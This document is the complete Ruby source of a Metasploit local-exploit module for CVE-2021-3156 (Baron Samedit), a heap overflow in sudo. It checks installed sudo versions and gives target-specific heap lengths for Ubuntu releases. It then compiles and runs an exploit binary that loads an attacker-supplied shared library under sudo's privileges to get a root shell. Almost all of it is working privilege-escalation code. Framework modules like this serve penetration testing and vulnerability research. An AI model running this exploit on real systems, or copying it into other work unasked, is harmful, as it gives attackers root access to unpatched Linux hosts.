## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Post::File include Msf::Post::Unix include Msf::Post::Linux::Compile include Msf::Post::Linux::System include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'Sudo Heap-Based Buffer Overflow', 'Description' => %q( A heap based buffer overflow exists in the sudo command line utility that can be exploited by a local attacker to gain elevated privileges. The vulnerability was introduced in July of 2011 and affects version 1.8.2 through 1.8.31p2 as well as 1.9.0 through 1.9.5p1 in their default configurations. The technique used by this implementation leverages the overflow to overwrite a service_user struct in memory to reference an attacker controlled library which results in it being loaded with the elevated privileges held by sudo. ), 'License' => MSF_LICENSE, 'Author' => [ 'Qualys', # vulnerability discovery and analysis 'Spencer McIntyre', # metasploit module 'bwatters-r7', # metasploit module 'blasty ', # original PoC 'Alexander Krog' # detailed vulnerability analysis and exploit technique ], 'SessionTypes' => ['shell', 'meterpreter'], 'Platform' => ['unix', 'linux'], 'References' => [ ['URL', 'https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit'], ['URL', 'https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt'], ['URL', 'https://www.kalmarunionen.dk/writeups/sudo/'], ['URL', 'https://github.com/blasty/CVE-2021-3156/blob/main/hax.c'], ['CVE', '2021-3156'], ], 'Targets' => [ [ 'Manual', { } ], [ 'Ubuntu 20.04 x64 (sudo v1.8.31, libc v2.31)', { lengths: [ 56, 54, 63, 200 ] } ], [ 'Ubuntu 18.04 x64 (sudo v1.8.21, libc v2.27)', { lengths: [ 56, 54, 63, 212 ] } ], ], 'DefaultTarget' => 1, 'Arch' => ARCH_X64, 'DefaultOptions' => { 'PrependSetgid' => true, 'PrependSetuid' => true, 'WfsDelay' => 10 }, 'DisclosureDate' => '2021-01-26', 'Notes' => { 'AKA' => [ 'Baron Samedit' ], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] } ) ) register_options([ OptString.new('WritableDir', [ true, 'A directory where you can write files.', '/tmp' ]) ]) register_advanced_options([ OptString.new('Lengths', [ false, 'The lengths to set as used by the manual target. (format: #,#,#,#)' ], regex: /(\d+(,[ ]*| )){3}\d+/) ]) deregister_options('COMPILE') end def get_versions versions = {} output = cmd_exec("sudo --version") if output version = output.split("\n").first.split(' ').last versions[:sudo] = version if version =~ /^\d/ end versions end def check sudo_version = get_versions[:sudo] return CheckCode::Unknown('Could not identify the version of sudo.') if sudo_version.nil? # fixup the p number used by sudo to be compatible with Gem::Version sudo_version.gsub!(/p/, '.') vuln_builds = [ [Gem::Version.new('1.8.2'), Gem::Version.new('1.8.31.2')], [Gem::Version.new('1.9.0'), Gem::Version.new('1.9.5.1')], ] if sudo_version == '1.8.31' # Ubuntu patched it as version 1.8.31-1ubuntu1.2 which is reported as 1.8.31 return CheckCode::Detected("sudo #{sudo_version} maybe a vulnerable build.") end if vuln_builds.any? { |build_range| Gem::Version.new(sudo_version).between?(*build_range) } return CheckCode::Appears("sudo #{sudo_version} is a vulnerable build.") end CheckCode::Safe("sudo #{sudo_version} is not a vulnerable build.") end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." write_file path, data end def exploit if target.name == 'Manual' fail_with(Failure::BadConfig, 'The "Lengths" advanced option must be specified for the manual target') if datastore['Lengths'].blank? arguments = datastore['Lengths'].gsub(/,/, ' ').gsub(/ +/, ' ') else arguments = target[:lengths].join(' ') end fail_with(Failure::NotFound, 'The gcc binary was not found') unless has_gcc? path = datastore['WritableDir'] cmd_exec("mkdir -p #{path}/libnss_X") file_name = rand_text_alphanumeric(5..10) upload_and_compile("#{path}/#{file_name}", exploit_data('CVE-2021-3156', 'exploit.c'), '-lutil') upload("#{path}/libnss_X/P0P_SH3LLZ_ .so.2", generate_payload_dll) cmd_exec("#{path}/#{file_name} #{arguments}") end end